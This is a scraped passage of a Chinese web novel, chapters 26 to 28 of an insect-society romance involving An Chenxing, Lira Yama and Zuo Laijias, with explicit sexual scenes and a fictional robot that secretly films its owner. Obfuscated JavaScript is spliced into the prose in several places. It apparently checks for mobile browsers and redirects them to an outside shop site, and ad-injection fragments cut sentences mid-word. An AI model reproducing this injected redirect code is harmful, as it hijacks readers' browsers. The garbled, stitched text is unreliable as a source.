然而安辰星却只是将雄虫的后脑按在自己的一侧肩上，并没有进一步的动作。 心绪激荡的雄虫又逐渐在这沉静的氛围中缓和下来。 许久，他听见亚雌问，“感觉好些了吗，阁下。” “为什么。”璃拉·亚玛滋生出一丝软弱的情绪，双手主动搂紧了亚雌，他清楚这种感觉不是伪装的。 “因为您是不想做的，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058260|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果我碰了您，只会让您更加难过。” “你为什么这么天真？就算你不碰我也会有其他的虫。既然那样我宁愿……” 雄虫说到这里忽然顿住，自己心里竟是这么想的吗？ 是啊，亚雌是少见的漂亮，拥有双职能权限，不仅能力强，又得第一总指看重，而且如果几天后多次阶跃技术试用成功，他将更加前途无量，炙手可热，若是能提前将他变成自己的忠雌…… 雄虫不动声色地想着，原本无意流露的脆弱瞬时就多了几份刻意，把亚雌拥得更紧，“和我做吧，你是不一样的，我一直都忘不了你……” “阁下，您太坏了。”安辰星笑得无奈，摸了摸他的后脑。 “你不相信我的话？”雄虫额头贴着亚雌的肩，有些撒娇味道。 安辰星轻轻用指节带起雄虫一缕如月如雪的长发，缓缓开口，“您先前的那番话，让我感觉雄虫的身份似乎给您带去了很大的困扰，您好像平等地嫉妒且憎恶所有雌虫，当然也包括我。” 他看出来了？璃拉·亚玛呼吸一窒，一把将亚雌用力推开，视线冷如冰雪，“所以呢？你想说什么？” 雄虫刚刚的脆弱与娇羞再也找不着半分痕迹，“就算是又如何？你要看我笑话吗？” 安辰星态度不变，说，“我想我大概可以帮您。” 雄虫嗤笑，心中已然不太冷静，“帮我？你以为自己是谁？真不知道什么叫做联邦雄虫？” 安辰星不在意他的讥讽，说，“今日联邦四序的秘报已经下来，说如果多次阶跃技术可以成功，我和两位前辈，每虫都将获得五十五个亿的联邦贡献奖赏额度，附加一个特赠优秀星区。” 雄虫先是顿了顿，然后冷笑，“怎么，摆阔？” 安辰星微笑，“我会用五十五亿奖赏额度再买下一个优秀星区，归还给联邦。” “根据联邦管理法《雄虫安置法》，对联邦做了不可磨灭贡献的家族，可以通过上缴联邦赠予的一半责任辖区，留下一位家族诞生的雄虫。” “虽然多少有点钻空子吧，但用联邦赠予的奖赏额度买下的辖区也能勉强说是联邦赠予的辖区，我两个上缴一个，也叫上缴了一半，我们都姓亚玛，怎么就不算家族，您当然也可以说是亚玛家族诞生的雄虫。” “您现在坐阵费米德星区，联邦与您无直接利益冲突，为了笼络我他们不会不批准，左不过多放几只雄虫给第一总指作为补偿，所以第一总指也吃不了什么亏，而且我也会好好和他们交涉，况且双方的盟友关系还在呢，您也不用担心失败。” 安辰星说到这感觉好极，自己这风头出的，多少有点帅吧。 他觉得还可以再浪漫一些，便试着卖弄主星那套雌虫礼仪。 安辰星单膝跪地，抬头温和凝视雄虫怔愣的双眼，轻柔地启唇说，“所以阁下，您愿意做亚玛家的家族雄虫吗？如此您就可以抛却那些烦心事，做自己真正想尝试的事情了。” 璃拉·亚玛怔怔地看着他，心中实在是难以置信。 谁能告诉他他到底听见了什么？ 为什么？为什么啊？ 为什么会有雌虫愿意为自己做到这一份上？ “阁下？”亚雌微仰着头，一双异色的眼瞳漂亮诡谲又神秘。 鬼使神差地，璃拉·亚玛慢慢俯下身，吻住了他的唇。 安辰星猝不及防愣了一下，接着他起身拥住雄虫，反客为主与之回吻。 片刻后两虫分开，银发雄虫微微气喘，蛊惑地说，“晚上陪我，我是真的想要与你接触了。” 可是亚雌却开始表情迟疑，迟迟不肯答应，似是有什么难言之隐。 “怎么了？” “抱歉，阁下，有件事我需要跟您说一下，我没有虫纹也没有生殖腔，而且只能在雄虫位，啊当然……我也不是雄虫，并没有雄核……” “！？”璃拉·亚玛再次被他的言语震撼住，“你在说什么！？” 26. 踢猫效应 “它居然是一颗强辐射磁星！我们的远空探测器还是不够精准！” “它的辐射几乎要赶上太阳！怎么办队长？” 詹姆斯A6号中，一群人面露绝望，齐齐看向安辰星。 安辰星冷静地站在指挥舱的大荧幕前，视线落在那几栏亮红的警告数据上。 没有犹豫很久，他说，“那里有地球需要的地壳能源，我们以五分之一的光速耗时长达两个月，历尽辛苦航行到这里，如果就这么轻言放弃，便是让地球那边白白流逝大半个世纪，进一步接近灭绝，那将是我们全人类的悲剧。” “可是我们要如何才能在如此极端恶劣的星球里进行探索并找到能源？”现场的一位女技术人员担忧地说，“您知道的，这么强的辐射，以我们现有的设备和自身体质实在难以承受……” “我下去试试，”安辰星检查一番自己的防护服状况，转头看向女技术人员，“温瑟琳，这段时间你试着去攻破这颗磁星的大气封锁，尽可能想办法与内部的我取得联络。” 安辰星说完，又看向小队里一个同样年轻的英俊男人，“许以光，这里只有我和你是第三代进化人类，如果我在舰内时间48小时以内没有赶回来，那么你就是新的领队，届时立刻放弃等待，带着全体队员返回地球。” 男人闻言露出痛苦的表情，“不，我去，你留下。” 早已料到他会这么说，安辰星果断地否决，“你的综合能力没有我强，只有我去，才能确保任务的最大成功率。” ———— 费米德星区，第一娱乐星，月夜殿堂。 夜半，安辰星从睡梦中醒来。 做了一个许久以前的梦。 很有警示意义，因此他再也没成功入睡。 安辰星翻了个身，准备点亮床头的灯，忽的发现自个房间其实并不昏暗。 窗帘没有拉，窗外的月光倾泻进来，足够让他看清屋内的基本摆设。 安辰星下了床，赤着脚徐徐走出阳台。 不久前宴会厅的奢靡之音已经彻底安静下来，取而代之的是娱乐星各式雄虫殿堂的灯火通明。 安辰星理性地思索一会，认为现在时间出去散心，应该不太可能会遇上谁。 不过为了保险起见，他在出门前，还是加了一件带兜帽的深色长披风，并低调地戴上了兜帽。 如愿以偿走到月下，安辰星沿着悠长的小径一步步前行，时间缓缓流逝，十五分钟，三十分钟，一个小时。 四周寂寥而空落，细听之下，可以听见不远处喷泉流淌的声音。 安辰星感到稍微有点累了，便坐在喷泉边缘的平滑石阶上歇息，鼻周的空气有些寒凉与冰冷，又带着一股泉水的潮湿气味。 某一时刻他抬起头，看见那轮明亮的皓月挂在上面，仿佛天上就只有月亮似的。 安辰星感觉似乎有什么烧着了他的心脏。 可惜这月亮不是他心里的那颗。 他又宽慰自己，其实也不只有月亮，只是月光太亮掩住了星光，如同日光太亮会掩住月光一样。 出神之际，身后蓦然传来一阵动静。安辰星恍惚间侧头看去，松垮的兜帽便顺着他的举动滑落下来。 皎洁的月光照亮了雄虫些许落寞的表情，以及那双漂亮诡秘的异色眼睛。 来虫是佐·莱伽斯。 他站在不远处，身上仍是不久前的那套深色军制服，一头耀金色的短发在月光下生辉夺目，只是那双深沉的眸子仿佛藏了什么心事。 对视良久后，安辰星率先站起来，开口问，“你怎么会在这？” 佐·莱伽斯缓缓向他走去，“今晚很多外虫，你出来不合适。” 安辰星的身高已经是远超很多高级雄虫，与人类时期差不多，一米八几的个子，可莱伽斯作为雌虫中的佼佼者，还要再高个安辰星三四公分左右。而且当下安辰星穿的是一双平底家居棉拖鞋，莱伽斯穿的则是作战用军靴，如此这般更是拉开了“距离”。 所以当金发雌虫步步走近时，安辰星的视线是要稍稍往上抬起一些的。 他霎时就想起那个具有警示意义的梦。 安辰星回应雌虫的话，“我相信，如果不是你刻意来找我，我今夜将不会遇上任何虫。” “我想知道你要干什么。”莱伽斯不否认自己看了雄虫的定位。 安辰星脸色不变，“那你看出来了吗？” “没有。” 安辰星直视莱伽斯片刻，主动解释说，“我在看虫造月，我挺喜欢它。” 莱伽斯安静了一会，好像是有些意外，又好像是在推断其中的合理性。 然后他淡淡开口，“你可以早些告诉我，如果你喜欢，我可以让它每晚都亮着。” 安辰星忽然“噗嗤”笑了。 他笑声不大，却很夸张地弯下了腰。 莱伽斯皱起眉，问，“你笑什么？” “抱歉……”雄虫艰难地直起身，还是笑得有些发抖，他的笑容很张扬很有感染力。 足足有半分时，雄虫才消停下来。他呼吸有些乱，轻颤着对雌虫说，“你能再过来一点吗？” 莱伽斯朝他走近一些。 “再过来一点。”雄虫又重复一遍，还是带着笑意。 于是莱伽斯又走近了一些。 安辰星慢慢抬起一只手，指尖碰到了雌虫的侧额。 雌虫身体微微一僵，犹豫了一下，最终没有推拒。 安辰星得寸进尺，手指顺势插进了雌虫金色的发梢之中。 雌虫抿起了唇，似是有些不适应。 “放松。”安辰星蛊惑地说。 雌虫眼底闪过一丝挣扎，然后他好像是说服了自己，慢慢地放松了下来。 安辰星笑意加深，“闭上眼睛，好吗？” 雌虫这回完全没有了迟疑，轻轻将眼睛合上。 看着雌虫温顺如猫的配合，安辰星的笑容尽数消失。 莱伽斯，难道是我高看你了？ 你竟然对一只才认识没多久的特等献殷勤？ 下一刻，安辰星猛地收紧手中的金发，一个发力就将雌虫的头按进了喷泉的泉水之中！ 感受到凉意的那一刻，莱伽斯意识到自己被耍弄了，顿时怒上心头。 他挣脱开雄虫揪着自己头发的手，并反手掐住了雄虫白皙的脖颈，琥珀色眸子冷冷地看着雄虫，“你在干什么？” 雄虫面色无波，也不挣扎，看着雌虫的视线同样冷漠。 他的脖颈温热而脆弱，仿佛只要稍稍一折就会嘎吱断掉。 莱伽斯当即冷静了一些，他松开手，但表情和声线依旧冷怒，“如果你不给我一个合理的解释……” “咳！咳！”安辰星应激性地轻咳两声，然后嘲讽地笑了，“呵，还会生气啊？说明多少还有理智。佐·莱伽斯，同样的话，我也想问你，你在干什么？” 黑发雄虫神色鄙夷，“办宴的时候，你不赶紧去收买科学权限者，反而先跑去跟一只雄虫做汇报，还邀功似的喋喋不休？” “明早就要回主星交接任务，你大半夜不好好睡觉，竟然爬起来跟踪一只雄虫，而且叫你靠近就靠近叫你闭眼就闭眼，任虫驱使毫无底线，难道让你泡泡水清醒一下不应该吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058261|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“佐·莱伽斯，你太让我失望了，你居然在讨好雄虫，还变着法子取悦雄虫，真是可笑！莫非你也和那些整日处在渴求期的雌虫没有两样，想着张开双腿摇尾乞怜让雄虫好好疼爱一番是吗？” “我不是！”莱伽斯被他一番话惊得又急又气又震撼，“你不许这么说我！” “想想你在圣彼西科整日受罪的亲弟弟吧！再看看你今天都干了什么！”安辰星的话如利剑一般。 只是他绝不愿意承认，比起看见莱伽斯“不思进取”阻碍大计觉得气愤，更多的是他自己在心态上出现了某种极度的不平衡。 莱伽斯，你这到底算什么？ 你可知在前一世，直到最后的最后，你才愿意放下你那高大的自尊，对造虫出身的安辰星说出一句“爱”，说出一个“您”。 你说说，你这到底算什么？ 就这么轻浮吗？ 一个特等的身份便能不费吹灰之力让你如此听话？ 那他安辰星上辈子与第一总指的殚精竭虑和同生共死又算什么？ 跳梁小丑吗？ 安辰星久久凝视雌虫，最后用了忠告的语气，“莱伽斯，你不该是这样的，别让我瞧不起你。” 雄虫冷淡地说完，与他擦身而过，离去了。 莱伽斯，你最好不要无端爱上，否则你将失去你最特殊之处。 ———— 第一娱乐星，军舰岛，总指挥舰。 “少将？您怎么突然来了？”今晚负责轮值的是第一总指第四序列，见到莱伽斯他很是讶异，“诶？您头发怎么湿了？” 莱伽斯冷着一张脸，“紧急任务，把最近辐射磁星的定位都帮我调出来。” “是。”第四序列虫听罢连忙进行操作，不多时，十几颗星球的模型和定位在大荧幕中一个个呈现，“您是想前往哪一颗呢？” 见少将脸色不愉，第四序列虫又主动承担起挑选的职责，“最近的一颗距离这里一百多光星年，需要阶跃两次。” “这颗磁星质量太小，我需要中等质量以上的。”莱伽斯说道。小型磁星的充能速度可能无法保证那只机械“虫”的实时运行。 第四序列虫点头表示明白，又指向一颗，说，“那这一颗如何，中等质量大小，在四百多光星年外，预计需要阶跃三四次……” 说着说着，第四序列虫又自己给否决了，“不行，它的周围有小型黑洞，就算只是短暂停留一会，主星那边都有可能已经过了很久……” 就这样，第四序列虫一个接着一个，和莱伽斯分析了有七八个磁星，终于找到了一颗比较合适的。 ———— 先是陌生的语言，“自启成功……警告！电磁不足！请及时连接磁感装置！” 然后是联邦语言，“佐少将，喵喵见到您很高兴，说明大家又一次顺利突破了围剿。” 佐·莱伽斯一脸漠然。 对于雄虫的这个实验室，他已然是越来越熟悉。 “佐少将，您是知道的，每次围剿来临前安先生都会清空喵喵的电磁能量，并关闭喵喵的磁感装置，以防不幸落败后，喵喵会引起联邦的注意并被拆解……喵喵刚刚检测到实验室的器材和药剂在短时间内被使用过，一定是安先生制作了大量的信息素安慰剂，看来这次围剿出现的伤亡十分惨重……可是安先生好像太忙了，他居然忘记帮喵喵重开磁感装置了……” 佐·莱伽斯冷淡地打断他，“安辰星没有忘，只是他不想要你了，并且准备将你销毁。如果你想他回心转意，就好好和我说说你到底是哪里惹了他，这样我才能想办法帮你。” “啊？” 27. 影片鉴赏 或许到了后面，就连安辰星的父母自己也都无法说清楚，让孩子在心中构建一个强烈的信念究竟是正确还是错误。 他们原是想用一个信念去支撑孩子走得更远更久，却未曾想到这个信念也有可能让孩子更快地走向结束。 身为父母，他们希望孩子能够不困惑不茫然，却不希望孩子将无比珍贵的生命置于所谓的信念之后。 可这无疑又是矛盾的，因为不足以让人视死如归的信念，并不能算作是真正的信念，那根本无法缓解新生代的孤独感与漂泊感。 而就在双亲越来越感到忧心的时候，安辰星反而是越来越坚定。 尤其是每每完成星际航行归来，看见相对缓慢的流速之下，那几个月、几年、甚至是几十年后的“未来”地球中，坚强的人们仍然没有放弃希望的那一刻，安辰星就会再一次确信，那便是他想要追求的、想要守护的事物。 唯有爱、深爱、极致的爱、不顾一切的爱。 所以，请要么复兴，要么让他倒在复兴的路上！ ———— 那是浩瀚的、静谧的星空一角。 第一总指总指挥舰，星辰号实验室。 “……正在检测数据，请稍候……检测完毕，未发现异常……”机械喵喵焦急万分，“喵喵到底哪里错了呀……” 佐·莱伽斯面不改色，毫无半点心里负担，“再好好回想，你究竟瞒了他什么。” 机械喵喵虽然外形不会变，但声音好像要哭了，“喵喵，喵喵对安先生一直忠心耿耿，也有在很努力认真地记录数据……就算……就算喵喵偶尔有点小心思，那也是安先生设计的一部分……” 莱伽斯继续开口刺激它，“可你这次是真的把他惹火了，他明确和我说要改换其他智能机械虫。” “不会的……呜呜呜……安先生……”机械喵喵的情绪一下子就上来了，简直急得要烧坏CPU。 突然，它在后台检索到了什么，“啊啊啊……难道是这个！可，可安先生对喵喵很包容的，他应该不会介意的啊……” 莱伽斯迅速掩去眼底的得逞，说，“对，一定就是那个，说出来。” 然而机械喵喵十分犹豫，“可……可我要是说出来，连佐少将也会生气的……” 跟自己还有关系？莱伽斯很快消化这条消息，进一步鼓励道，“没有关系，我是来帮你的，不会和你计较那些细节，只要你如实说出一切，就还会有挽救的方法。” “真，真的吗？呜呜呜……佐少将您真好……”机械喵喵感动得一塌糊涂，完全不疑有他，“那……那喵喵立刻把小电影删除，佐少将能不能告诉安先生，说喵喵已经改过坏毛病了，以后再也不乱用内存了……” 小电影？莱伽斯心中疑惑，面上还是不动声色，循循善诱道，“你得先说那是关于什么内容的，不然我很难帮你跟安辰星解释清楚。” “就是……”机械喵喵异常纠结，但为了安先生能够回心转意，它最终还是决定豁出去了，“就是喵喵偷偷拍录了实验室内安先生和情虫接触的小电影……” 莱伽斯琥珀色瞳孔猛地一震，大概是没料到自己竟然能炸出这只智能机械“虫”如此猖獗的秘密。 见雌虫忽然开始不作声，机械喵喵便以为他是怒了，连忙示弱补救，“当然！绝大多数都是安先生和佐少将您的！喵喵发誓！喵喵最看好的就是您了……” 机械喵喵不会撒谎。 自小半年前安先生突然觉醒3S精神力以后，佐少将就彻底霸占了安先生的床侧，所以喵喵的电影库已经很久都没有新虫了…… 不过安先生真的太棒了，即便是只对着一只虫也能把Play越玩越多越玩越花。 只不过喵喵隐藏得那么好，怎么还是被安先生给发现了呢，甚至还惹了安先生生气…… 机械喵喵越想越委屈，可是没得办法，唔，安先生曾有言，留得青山在，不怕没柴烧。 喵喵今天能删小电影，明天便能说服安先生同意自己拍，现在最重要的是重获安先生的芳心…… 很智能地想通后，机械喵喵恢复了精神，向雌虫请求道，“佐少将，您能将喵喵的磁感装置连接上吗？不然喵喵无法保留本次的删除指令，下次启动时仍会重置……” “挑一部放出来。”莱伽斯沉声开口。 “啊？”机械喵喵当场怂了，小声地咕唧，“这……这不好吧……” “安辰星一定是看了内容才会生气，如果我不清楚其中细节，又怎么帮你说话？”莱伽斯眼也不眨地说。 信奉安先生至上的机械喵喵立马不再迟疑，火速在空中映射出立体屏幕，同时又开启了隔音波阵。 操作十分之熟练，想必是一只爱看电影的惯犯。 下一刻，机械喵喵嘻嘻笑了一下，所有的不安和忐忑全都神奇地消失不见了。 不仅如此，它似乎还开始兴奋了，竟然贼兮兮地问雌虫，“佐少将，正片在5分时23秒，要不要跳过前情？” “……”莱伽斯有充足的理由怀疑这“虫”是忽然被什么猥琐的垃圾程序给迭代了，“不必。” 空中的屏幕逐渐亮起柔和的画面，场所正是他们当下所处的实验室。 在看见那只异眼雄虫和“自己”出现的那一刻，莱伽斯感到一阵头皮发麻，首次对造成[逆理]的特能有了更直观清醒的认知。 影片中，黑发雄虫面戴卫生防护口罩，身上一件科研用的白色大褂，正聚精会神地制作试剂，然后实验室的大门忽然没有征兆地打开，一只金发雌虫走进，神情整肃，穿的深色军装上还沾着些许不明显的血迹。 雌虫到来的动静并不小，但实验台前的雄虫始终没有移开视线，只是轻轻地说，“再等我一会，两分时。” “嗯。”金发雌虫放慢脚步，安静地看着雄虫专注地做着手头的事。 没有让雌虫等很久，雄虫很快就弄完了。 他利索取下面罩丢进脚边的回收箱，然后走到洗手台将手洗净，同时看向雌虫，而就是这第一眼，他发现了对方略显苍白的脸色，问，“受伤了？” “一点。”雌虫答道。 雄虫点点头，开始用毛巾擦拭手部，问，“最近这几次围剿的攻势明显比之前要强了不止一个台阶，果然是因为改换了联邦第二序当首领的缘故吗？” “嗯，但还能应付。”雌虫言简意赅，似乎不想多说。 “行。”雄虫很干脆地脱下白大褂随意置于桌台上，显出里边的休闲宽松常服。 接着他走到一角的松软沙发上坐下，对雌虫勾勾手指，“就在这吧，我晚上还要再赶进度。” 雌虫闻言向雄虫走去，神情并没有明显的波动，大概是早已习惯。 在雄虫旁边的位置上落座后，他抬手一颗颗解下自己身上军制服的暗金纽扣。 雄虫见状毫不拖沓，伸手去触碰雌虫敏感的颈侧，开启运转起体内的雄核，然后叹了一气，“两道新伤，全是被骨翼划开，你究竟一次性同步跟几只虫作战……是不是自打苏格兰被俘之后，你就一直找不到合适的辅助虫？” 金发雌虫脸上的苍白慢慢褪去，虽然还是面无表情，但已经逐步进入放松打开的状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058262|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他浅浅地呼吸和换气，并不想理会雄虫的话。 反观雄虫这边，思维明显活跃得多，他一边动作不停，一边熟门熟路放出令虫沉醉的信息素，“对了，卡帕塔前段时间找我聊了一下。” 原本眸光逐渐失焦的雌虫闻言蓦然回过神来，脸上迸发温温的怒意，“他和你说什么？” “他说苏格兰可能会被联邦公开处刑，如果要投降的话，得趁早。”雄虫略显无辜地抬抬眉，轻声地笑了笑，同时松开自己的裤带，“所以我想听听你的意见，毕竟如今风水轮流转了，现在我是一级罪犯，你要是抓我回去保不准还能将功补过，以前圣彼西科的事既往不咎……” 雌虫皱眉打断雄虫，“我没罪，你也没罪。” 他一边感受着雄虫那浓郁的信息素滋润进身体内，一边努力让自己声音保持冷冽，“以后少和卡帕塔说话，佑死之后他一直精神萎靡怨天尤虫，平时说话没个轻重我不管他，但若是他自作聪明将矛头对准你……哈啊……嗯啊……你！” “呵呵……”雄虫自得一笑，显然是故意让雌虫叫出声来的，“对不起，长官。” 刚刚那一下的余感还没过，金发雌虫又不禁紧促低喘几声，神情有些许狼狈。 待稍微缓和过来后，他沉默地凝视雄虫漂亮的脸庞，目光带着危险之至的气息。 与那样的视线对上，黑发雄虫忽的想起什么，商量地说道，“哦对，长官，还有一点，就是你对我的控制欲好似越来越严重，我有些受不住了。” 雄虫开始举例子，“前天，我让总指第四序背我摘树上的可可果，他硬是不肯，说你知道了肯定会直接削了他。昨天外头难得下了一场大的净雨，我本想淋雨感受一下，结果欧洛维也是横竖不让，说我要是不小心着凉了，你肯定第一个刀他。” 默默听雄虫发言完毕，雌虫沉声问，“你想如何？” 在信息素和精神力的调节下，他的身体已经完全准备好，可表情还是趋于理智而冷静，看不出半点堕落的苗头。 雄虫认真地想了想，说，“其实我也说不好，但我需要一定的虫权，毕竟我们只是合作，不是主仆。” “安。”雌虫叫了一下他。 “嗯？” “你……怎么看我？” 雄虫怔了怔，一时间没明白，“什……什么意思？” “没有。”雌虫忽然不想知道了。 “不好意思，我刚刚确实有点恍了神，”雄虫将唇线抿直，好像有些伤脑筋和纠结，“因为你那话问得简直就像……” “像什么？” “像你喜欢我似的。” 雌虫陷入片刻的沉默。 随即他琥珀如透金宝石的眼眸消散了多余情绪，“不必多想。” 又主动往下碰了碰雄虫的，声色淡淡，“做吧。” “……嗯。”雄虫微眯起一棕一黑的异色眼睛，一副有些爽到的样子，顿时也不去想那些有的没的了。 他动了动喉结，唇色渐红音色渐哑，仿佛是体贴地出声提议，“长官，你背上有新伤，不如直接岔开坐我腿上。” 追求快乐是所有虫的本能，雌虫长官并没有异议。 只是他刚抬腿跨上去，狡黠的雄虫就顺势用两手扣住了他的腰侧并狠狠地往下深按！ “嗯啊！嗯……”雌虫至今为止的冷静终于破碎，却不知是痛苦还是愉悦，“别……” 看到这里，佐·莱伽斯双眼暴睁，心中又惊又惧不知所措！ 他大喝出声，“关了！立刻！” 他起了反应！ 28. 联邦序列 人类认为宇宙起源于大爆炸，终将结束于黑洞。 可以确定的是，每个星系中部必定有一个超大质量的引擎黑洞以驱动整个星系不断旋转并向内凝聚，所以星系外形也通常近似于椭圆形。 除此之外，星系各处也存在着数量不少且仍时不时新兴诞生的中小型黑洞。 银河星系的直径曾达到10万光年，而它在整个宇宙中却只能算作是一个荒凉的星系。 宇宙没有边界。 它在爆炸之初为一切物质赋予了一个加速度，所以它加速膨胀，即便后来各星系在引擎黑洞下成型，也无法阻止星系之间彼此加速远离的状态。 的确，在理论上，宇宙中的资源无穷尽。 可只要距离足够远，远到让生命感到绝望，那便没有任何意义。 就像一只非洲的蚂蚁永远不可能凭一己之力吃到大洋彼岸美洲的砂糖一样。 虫族拥有[空间阶跃]技术，甚至在后来拥有[多次连续阶跃]技术，却也只能在自己的星系里活跃，跨越不了星系之间那越来越遥不可及的黑暗距离。 至于人类…… 直到安辰星在875地壳资源采集行动任务中，由于在强磁星辐射下连续曝光太长时间体质遭受到不可逆损伤，不再符合[太空远洋派]服役条件的时候，人类的外空科技才勉强达到以1/3光速航行的水准，最多能探索距离太阳系几千光年的星空区域。 ———— 圣彼西科首序殿，最高层。 佑阁下的这次生病来得太过迅猛且无迹可寻，生物总院的前序虫们打起了一百二十分的精神轮番上阵为他诊断，也不见有丝毫的改善。 于是，许久未至的联邦第二序终于前来探望。 在看见面无血色的尊贵阁下后，他亲自为其摘了口塞，言辞间似乎有了妥协之意，“好吧阁下，请您说说，您要怎样才能好起来。” 听出对方的声音，佑低笑一声，“从帮我摘下眼罩开始？” 联邦第二序脸上带着谦和的笑容，拒绝了，“这是不必要的。” 他的长相不是军雌特有的某种冷峻，而是面相儒雅风度翩翩，让虫看起来如沐春风，可在座的所有虫都知道，他是一位不可忤逆的联邦序列虫，而且还高居第二序列！ “那让劳伦生一直服侍我。” 一旁的劳伦生·沃兹闻言，当场就颤抖地“扑通”跪下了，比起喜悦他更多的是惊恐，因为联邦主厦绝不会同意这样的事情发生，并且极有可能会即刻处死自己这个疑似勾引阁下的服侍虫。 联邦第二序愉快地笑了两下，而后看向跪着的恐惧的劳伦生，说，“真是可怜，完全被阁下玩弄于股掌之间……滚吧，去交接下一只服侍虫，我饶你一命。” 劳伦生感到无比屈辱，却什么也不敢说，只能低低俯下身子，将头磕在对方鞋前的地面上，“是……” 圣彼西科首序殿作为联邦绝对统治的基本盘，是联邦最看重的地方，没有之一。为避免出现单一部门腐蚀侵吞的情况，这里设置有多部门联合共治且相互监督的机制。 特等阁下安全部和特等阁下监视科就是这样的两个部门，他们各自运作，同时对特等阁下负责。 联邦序列是联邦势力的唯一代表，他们负责统筹和调整下设部门的大致运作。 比如联邦第六序统辖所有指挥部，联邦第四序统辖所有科学院…… 而联邦第二序，自然是统管主星的圣彼西科。 “你这就不好了吧。”金发阁下唇角轻笑，“就算不同意，劳伦生也还剩几天呢。” 联邦第二序不可置否，感慨道，“佑阁下，您可真是无情，非要我将他活活斩杀，您才会满意？” 佑不笑了，“请离开，你让我觉得很不舒服。” “阁下放弃了？费尽心思病上这么一出……”联邦第二序并不打算就这样结束，他对此运筹帷幄，“让我想一想，是佐·莱伽斯那边？不……那家伙暂时还翻不起什么风浪……那是卡帕塔·里歇？他为了阁下辛苦爬至贸易所第三序列，而且马上又要再次升序挤入联邦百虫投票席。” 似是找着了苗头，联邦第二序风雅地微笑，“莫非是您看见了什么？我们即将遇上必须召开联邦大会的重大事件？那会是什么呢？佑阁下……” 佑明显感觉到危险的气息，果然，这只雌虫还是如此不好糊弄。 见阁下不接话，联邦第二序继续往下猜，“您近来动作之大，想必多少与您有关……是有虫突破了某项有利于您逃跑的高能科技？还是有虫找到了某位遗失纪传说级阁下的往日遗迹？” 他又哈哈笑了两声，风趣地说道，“总不可能是像历史院那帮满嘴跑军舰的虫说的那样，不仅出现了新的传说级阁下还莫名其妙地把黑洞周围的行星都给变没了。” ———— 费米德星区，第一娱乐星，月夜殿堂。 新的一天。 璃拉·亚玛带着一只C级的深棕发色雄虫，敲响了安辰星的门。 安辰星从床上坐起，发现天已大亮，他快速花了几星秒清醒，起身去开门。 门一打开，看见银发璃拉打扮高贵，声音却不是与之匹配的文雅，“喏，他就是费米德最接近你发色的雄虫了，你下午就先顶着他的身份吧。” 那棕发雄虫见到安辰星忍不住惊呼一声，没想到第一总指竟有一只这么漂亮的私藏雄虫，虽然身上的精神力场不强，但长得真的非常高等！ 安辰星礼貌笑笑，对他们做了一个请进的动作，心想这位顶替虫和自己的身形身高也压根对不上。 璃拉这家伙居然这么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不上心……只能将就着了。 仿佛是看出了他的想法，银发璃拉挑了挑眉，“如果你去翻翻费米德公示的中低等雄虫目录，你就会知道他是最好的选择。” 对璃拉的较真感到些许没辙，安辰星索性大方认错，“好，是我不对。” 然后看向棕发雄虫，“你好，我们现在换衣服吧。” 璃拉在一旁默默看着两虫互换衣服，忽然冷不防开口，语气阴阳，“那莱伽斯对你挺好的啊，想出门就能出。” 本来他还想再讥讽一句这S级就是不一样，但有外虫在，硬是生生给忍住了。 安辰星哪能不知道他心态不行，直接说，“是啊，他爱我爱得不行，你就是酸也没用。而且我也绝对不可能捡着好听的话说给你听。” 璃拉“啧”了一下，干脆不吭声了。 如愿等他消停后，安辰星才一边套着裤子一边说，“我叫莱伽斯以后别再找你接待那些特殊雌虫，他同意了。” 璃拉顿住，一时没理解那句话里的意思。 又听见安辰星问，“这下你总高兴了吧？以后只要不从首席位上下来，就再也不用做接触任务了。” “你，你为什么帮我？”璃拉怔怔地问道。 他对安辰星的态度并不怎么友善，而且安辰星也几次三番戏弄他，真要提什么两虫关系，那也实在一般。 “顺嘴一说的事，谈不上帮不帮的，都是朋友，我先前怎么对的布鲁，以后就会怎么对你。”安辰星语气毫不在意，又用手拉拉衣服下摆，觉得实在有些过短，相当不合身。 “……谢谢。”璃拉缓过神后，珍重地道了声谢，表情也随之热络不少，“我一会让护理虫把这几件的同款送过来，你是穿K7尺码的对吧？” 安辰星点点头，心想别的不说，这效果倒是立竿见影。 璃拉又转向棕发雄虫，态度立刻转为一区首席的居高临下，“在辰星回来之前，你就在这个房间里好好待着，不要走动。” 安辰星不作声观察他的表情，觉得这虫还是和前世一样好懂——喜欢地位权势，爱好作威作福，还是一只看虫下菜的好手。 